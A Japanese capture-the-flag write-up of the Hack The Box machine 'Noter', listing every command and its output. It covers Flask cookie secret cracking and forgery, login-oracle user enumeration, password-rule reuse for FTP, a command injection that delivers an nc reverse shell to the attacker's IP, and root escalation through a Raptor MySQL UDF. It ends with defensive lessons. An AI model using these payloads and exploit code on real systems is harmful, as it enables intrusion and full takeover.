Hack The BoxのWriteup(Noter)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Noter — 全実行コマンド・実行結果レポート
Nmap スキャン
FTP(21)+SSH(22)+Flask(5000)
register/login
正規署名Cookie取得
Flask secretクラック
itsdangerous直接呼出し
ログインオラクル
有効ユーザー名”blue”特定
Cookie自前偽造
blueとしてログイン
FTPパスワード規則
note本文+使い回しでftp_admin奪取
バックアップzip比較
MySQL root資格情報回収
md-to-pdf コマンドインジェクション
リバースシェル
svc シェル
user.txt ✓
MySQL root + Raptor UDF
SUID bash設置
root shell
root.txt ✓

ポートスキャン

BASH
nmap -p- --min-rate 500 -T4 10.129.67.144
nmap -sV -sC -p 21,22,5000 10.129.67.144
RESULT
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
ℹ️
Werkzeugバナーから Python/Flask 製アプリと分かる。FTP匿名ログインは拒否される (ftp> anonymous530 Login incorrect)。まずはWebアプリを起点に攻める。

サイト構造の確認

BASH
feroxbuster -u http://10.129.67.144:5000
RESULT
200  GET   /register
200  GET   /login
302  GET   /dashboard  => /login
302  GET   /notes      => /login
302  GET   /VIP        => /login
ℹ️
未ログイン状態では /register/login 以外すべて /login へリダイレクトされる。まずはアカウント登録から始める必要がある。
PHASE 2

Flaskセッション Cookie の秘密鍵をクラック

捨てアカウントを登録しCookieサンプルを取得

BASH
curl -s -X POST http://10.129.67.144:5000/register \
  --data "name=Pwn3r&email=pwn3r@noter.htb&username=pwn3r99&password=Pwn3rPass123!&confirm=Pwn3rPass123!"

curl -s -X POST http://10.129.67.144:5000/login -c cookies.txt \
  --data "username=pwn3r99&password=Pwn3rPass123!"
RESULT (発行されたCookie例)
session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicHduM3I5OSJ9.YkQb...
ℹ️
Cookieの見た目はJWTに似ているが、Flaskの標準セッション実装 (itsdangerous.URLSafeTimedSerializer) によるもの。 flask-unsign --decode --cookie '<cookie>' でデコードすると {'logged_in': True, 'username': 'pwn3r99'} が見える。

秘密鍵をブルートフォース

BASH (flask-unsignツール利用)
flask-unsign --unsign --cookie '<上記cookie>' \
  -w /usr/share/wordlists/rockyou.txt --no-literal-eval
PYTHON (itsdangerous直接呼出し、より高速)
import hashlib
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import TimestampSigner, URLSafeTimedSerializer

def make_serializer(secret):
    return URLSafeTimedSerializer(
        secret_key=secret, salt='cookie-session',
        serializer=TaggedJSONSerializer(), signer=TimestampSigner,
        signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1})

sample_cookie = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicHduM3I5OSJ9...."
with open('/usr/share/wordlists/rockyou.txt', encoding='latin-1') as f:
    for line in f:
        secret = line.rstrip('\n')
        try:
            make_serializer(secret).loads(sample_cookie)
            print("FOUND:", secret)
            break
        except Exception:
            continue
RESULT
FOUND: secret123
秘密鍵漏洩。 rockyou.txt内の弱いパスワードがそのままFlaskの SECRET_KEYとして使われていた。この鍵さえあれば、DBに一切書き込まずに 任意の内容を持つCookieを自由に偽造できる。
PHASE 3

ログインオラクルでユーザー名特定 & FTP資格情報回収

ログインエラーメッセージの差異をオラクルに利用

NOTE
ログインフォームは「無効なユーザー名」と「ユーザー名は存在するがパスワードが違う」
の場合でレスポンス本文が異なる。この差分を使い、有効なユーザー名を
自動化された総当たりなしに (適当な既知候補 "blue" を1回試すだけで) 特定できる。
BASH
curl -s -X POST http://10.129.67.144:5000/login \
  --data "username=zzz_definitely_not_a_real_user&password=junk" -o baseline.html

curl -s -X POST http://10.129.67.144:5000/login \
  --data "username=blue&password=junk" -o blue_probe.html

diff baseline.html blue_probe.html
RESULT
差分あり (レスポンス長: baseline 2076バイト vs blue 2039バイト)
→ "blue" は実在するユーザー名と確認
ℹ️
ページの本文中の “Invalid credentials” 的な文言の位置・文脈が ユーザー名の有無によって微妙に変わるため、単純なバイト長比較や wfuzz --hs "Invalid credentials" のような固定文字列フィルタで 有効/無効を判別できる。名前辞書全体を総当たりしなくても、有力候補を 少数試すだけで済む場合が多い。

秘密鍵でCookieを自前偽造しblueとしてログイン

PYTHON
cookie = make_serializer('secret123').dumps(
    {'logged_in': True, 'username': 'blue'})
print(cookie)
BASH (ブラウザのDevToolsでCookie差し替え、またはcurlで直接)
curl -s http://10.129.67.144:5000/notes --cookie "session=$COOKIE"
RESULT
<li><a href="note/1">Noter Premium Membership</a></li>
<li><a href="note/2">Before the weekend</a></li>

note本文からFTP資格情報とパスワード規則を回収

BASH
curl -s http://10.129.67.144:5000/note/1 --cookie "session=$COOKIE"
RESULT (note本文抜粋)
Hello, Thank you for choosing our premium service. ...
By the way, now you can access our FTP service as well.
Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.
...
ftp_admin
⚠️
パスワードは “username@site_name!” という規則で自動生成される (アプリ全体共通の初期パスワード規則)。noteの署名者 ftp_admin も この規則に従っている可能性が高いと推測できる。
BASH (blueでFTP接続確認 & ftp_adminのパスワードを規則から導出)
ftp 10.129.67.144
Name: blue
Password: blue@Noter!
230 Login successful.

# 規則を流用: ftp_admin@Noter!
ftp 10.129.67.144
Name: ftp_admin
Password: ftp_admin@Noter!
230 Login successful.
推測成功。 ftp_adminも同じデフォルトパスワード規則のまま 運用されていた。

バックアップzipを回収しMySQL資格情報を抽出

BASH (ftp_adminのFTPホームにある2つのzip)
ftp> ls
-rw-r--r--  app_backup_1635803546.zip
-rw-r--r--  app_backup_1638395546.zip
ftp> mget *
BASH (2つのapp.pyを比較)
unzip -p app_backup_1635803546.zip app.py > app-1.py
unzip -p app_backup_1638395546.zip app.py > app-2.py
diff app-1.py app-2.py | grep MYSQL
RESULT
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'
🚨
古い方(app-1.py)には本物のMySQL root資格情報がハードコードされていた (新しい方はプレースホルダに置き換わっている)。この root:Nildogg36 は後のroot権限昇格で使用する。
PHASE 4

md-to-pdf コマンドインジェクションで RCE → user.txt

脆弱なコード箇所の特定

PYTHON (app-2.pyより抜粋)
r = pyrequest.get(url, allow_redirects=True)
rand_int = random.randint(1, 10000)
command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
🚨
/export_note_remoteはユーザー指定URLの内容を取得し、 $'...'(bashの ANSI-C クォート)で囲ってシェルに渡している。 「;」でのコマンド連結は文字列内の一部として無害化されるが、 文字列自体にシングルクォートを混入させて$'...'を早期終了させ、 続けて$(...)サブシェルを埋め込むことでコマンドインジェクションが成立する。

ペイロード作成とリバースシェル

BASH (payload.md 作成)
cat > payload.md << 'EOF'
'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4445 >/tmp/f)'
EOF

python3 -m http.server 8093 &
nc -lnvp 4445 &
BASH (blueのCookieでトリガー)
curl -s -X POST http://10.129.67.144:5000/export_note_remote \
  --cookie "session=$COOKIE" \
  --data "url=http://10.10.15.200:8093/payload.md"
RESULT (nc リスナー側)
listening on [any] 4445 ...
connect to [10.10.15.200] from ... 51506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
RCE成功! svcユーザーとしてシェルを確立。 /export_note_remoteはVIPユーザーのみ利用可能な機能だが、 blueはこのボックスにおいて既定でVIP権限を付与されたテストアカウントである (登録直後の一般アカウントでは403が返る点に注意)。

シェル永続化 & user.txt

BASH (シェル内でSSH鍵を注入)
$ mkdir -p ~/.ssh && chmod 700 ~/.ssh
$ echo "ssh-ed25519 AAAA... kali@attacker" >> ~/.ssh/authorized_keys
$ chmod 600 ~/.ssh/authorized_keys
$ cat user.txt
RESULT
66b6b35cd072b79d28c1a18d9814e6d0
user.txt — svc
66b6b35cd072b79d28c1a18d9814e6d0
ℹ️
不安定なリバースシェルに頼り続けるより、この時点でSSH公開鍵認証の アクセス経路を確立しておくと、以降の権限昇格作業が格段に安定する。
PHASE 5

MySQL root + Raptor UDF → root.txt

MySQLがroot権限で稼働していることを確認

BASH (SSH鍵でログイン)
ssh -i noter_svc_key svc@10.129.67.144
svc@noter:~$ cat /etc/systemd/system/mysql-start.service
RESULT
[Service]
ExecStart=/usr/sbin/mysqld
User=root
Group=root

Raptor UDF (raptor_udf2.c) を用意

NOTE
古典的な公開exploit (exploit-db #1518) はmysql.hをインクルードするため
libmysqlclient-devが必要。Kaliでクロスコンパイルしてターゲットへ転送する
方法は、glibcバージョン差異により古いUbuntuターゲットで"GLIBC_x.y not found"
となるリスクがある。UDF_ARGS/UDF_INITの構造体を自前でtypedefすれば
mysql.hへの依存を排除でき、ターゲット上でネイティブにコンパイルできる
(このボックスにはgccが標準で入っている)。
BASH (svc@noter上で直接コンパイル)
cat > /dev/shm/raptor_udf2.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

typedef char my_bool;

typedef struct st_udf_args {
    unsigned int arg_count;
    int *arg_type;
    char **args;
    unsigned long *lengths;
    char *maybe_null;
    char **attributes;
    unsigned long *attribute_lengths;
    void *extension;
} UDF_ARGS;

typedef struct st_udf_init {
    my_bool maybe_null;
    unsigned int decimals;
    unsigned long max_length;
    char *ptr;
    my_bool const_item;
    void *extension;
} UDF_INIT;

my_bool do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1) {
        strcpy(message, "THIS FUNCTION REQUIRES ONE STRING ARGUMENT");
        return 1;
    }
    return 0;
}
void do_system_deinit(UDF_INIT *initid) {}
long long do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    system(args->args[0]);
    return 0;
}
EOF

gcc -g -c /dev/shm/raptor_udf2.c -o /dev/shm/raptor_udf2.o
gcc -g -shared -Wl,-soname,raptor_udf2.so -o /dev/shm/raptor_udf2.so /dev/shm/raptor_udf2.o -lc
mysql.h/libmysqlclient-devに一切依存しないため、標準のgccだけで ABI不一致リスクなくコンパイルできる。

MySQL rootでUDFをロードしSUID bashを設置

BASH
mysql -u root -p'Nildogg36' mysql
SQL
MariaDB [mysql]> SHOW VARIABLES LIKE 'plugin_dir';
+------------+-----------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/    |
+------------+-----------------------------------------------+

MariaDB [mysql]> create table foo(line blob);
MariaDB [mysql]> insert into foo values(load_file('/dev/shm/raptor_udf2.so'));
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]> select do_system('cp /bin/bash /tmp/nrootbash; chmod 4777 /tmp/nrootbash');
RESULT
+----------------------------------------------------------------------+
| do_system('cp /bin/bash /tmp/nrootbash; chmod 4777 /tmp/nrootbash')  |
+----------------------------------------------------------------------+
|                                                                    0 |
+----------------------------------------------------------------------+
ℹ️
/dev/shmnosuidマウントのためSUIDビットが機能しない。 /tmpなどnosuidでない場所にコピーする必要がある (mount | grep shmで確認可能)。

SUID bash で root 昇格 → root.txt

BASH
svc@noter:~$ ls -l /tmp/nrootbash
-rwsrwxrwx 1 root root ... /tmp/nrootbash
svc@noter:~$ /tmp/nrootbash -p -c 'cat /root/root.txt'
RESULT
ebfdb7a7dd167694b11a1f93d6caca5d
root.txt
ebfdb7a7dd167694b11a1f93d6caca5d
ℹ️
bashはSUIDビットが付いていても通常privilege dropping(実権限降格)を行うため、 -pオプションを付けて実行しないと有効UIDが即座にrootのままにならない。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc
66b6b35cd072b79d28c1a18d9814e6d0
root.txt
ebfdb7a7dd167694b11a1f93d6caca5d

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
弱いFlask SECRET_KEY セッションCookie署名鍵 任意ユーザーへのなりすまし Critical rockyou.txt収録の弱い値(“secret123”)がそのままSECRET_KEYに使われており、itsdangerousで直接ブルートフォース可能
ログインオラクル (ユーザー列挙) /login エンドポイント 有効ユーザー名の特定 High 無効ユーザー名と無効パスワードとでレスポンスが微妙に異なり、少数の候補試行だけで有効アカウントを特定できる
脆弱なデフォルトパスワード規則の使い回し FTPアカウント (blue, ftp_admin) FTP経由でのソースコード・機密ファイル漏洩 High 「username@site_name!」という予測可能な初期パスワード規則が変更されずに複数アカウントで使い回されている
コマンドインジェクション (md-to-pdf呼び出し) /export_note_remote エンドポイント svcユーザーとしての任意コード実行 Critical subprocess.run(shell=True)へ渡す文字列のANSI-Cクォート($’…’)をユーザー制御値に含まれるシングルクォートで早期終了させ、$(…)サブシェルを注入
バックアップファイルへの機密情報残留 FTP経由のapp_backup_*.zip MySQL root資格情報の漏洩 High 古いソースコードバックアップに本物のDB資格情報がハードコードされたまま放置されており、パスワードローテーション後も外部からアクセス可能なFTP領域に残存
MySQL root稼働 + UDF任意コード実行 (Raptor) mysqld (User=root) root権限奪取 Critical root権限のMySQLに接続できれば、UDF共有ライブラリをplugin_dirへ書き込みロードするだけでOSコマンドを任意のroot権限で実行できる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + feroxbusterFTP/SSH/Flask構成
2秘密鍵クラックregister→login+itsdangerousブルートフォースFlask SECRET_KEY “secret123”
3認証バイパス+資格情報収集ログインオラクル+Cookie偽造+パスワード規則流用blue/ftp_adminのFTP資格情報、MySQL root資格情報
4RCEmd-to-pdfコマンドインジェクションuser.txt (svc)
5権限昇格MySQL Raptor UDF (ネイティブコンパイル)root.txt

学んだ教訓 & 防御策

問題点防御策
FlaskアプリのSECRET_KEYが辞書攻撃で破られる程度の弱い値になっている SECRET_KEYはsecrets.token_hex(32)等で生成した高エントロピーなランダム値を使用し、環境変数やシークレット管理サービスから読み込む。
ログインフォームがユーザー名の有無によって異なるレスポンスを返しユーザー列挙を許してしまう 無効ユーザー名・無効パスワードいずれの場合も同一のエラーメッセージ・同一のレスポンス時間になるよう実装を統一する。
アプリのデフォルトパスワード生成規則が予測可能かつ全アカウント共通で、変更が強制されない 初回ログイン時のパスワード変更を強制し、規則を利用者に開示しない。可能であれば初回パスワードをランダム生成しSMS/メール等の別チャネルで individually 通知する。
markdownからPDFへの変換処理がユーザー制御のコンテンツをshell=Trueのsubprocessに渡しており、クォート方式に頼った対策では不十分 シェル経由の呼び出しを避け、必要な引数はリスト形式で渡す(shell=False)。外部プロセスへの入力は一時ファイル経由にするなどしてシェルメタ文字の混入経路を断つ。
ソースコードバックアップに機密情報(DB資格情報)がハードコードされたまま、外部からアクセス可能な場所に長期間放置されている 資格情報は環境変数やシークレット管理サービスから取得しソースコードに含めない。バックアップファイルへのアクセス制御を厳格化し、定期的な棚卸しを行う。
アプリケーション用のMySQLがroot権限で稼働しており、単なるDB操作用アカウントの侵害が即座にOSレベルの権限昇格に直結する MySQL/MariaDBは専用の非特権ユーザーで稼働させ、secure_file_priv設定でload_file/dumpfileの使用範囲を制限し、UDFの動的ロードを不要な環境では無効化する。
HackTheBox: Noter | 完全攻略レポート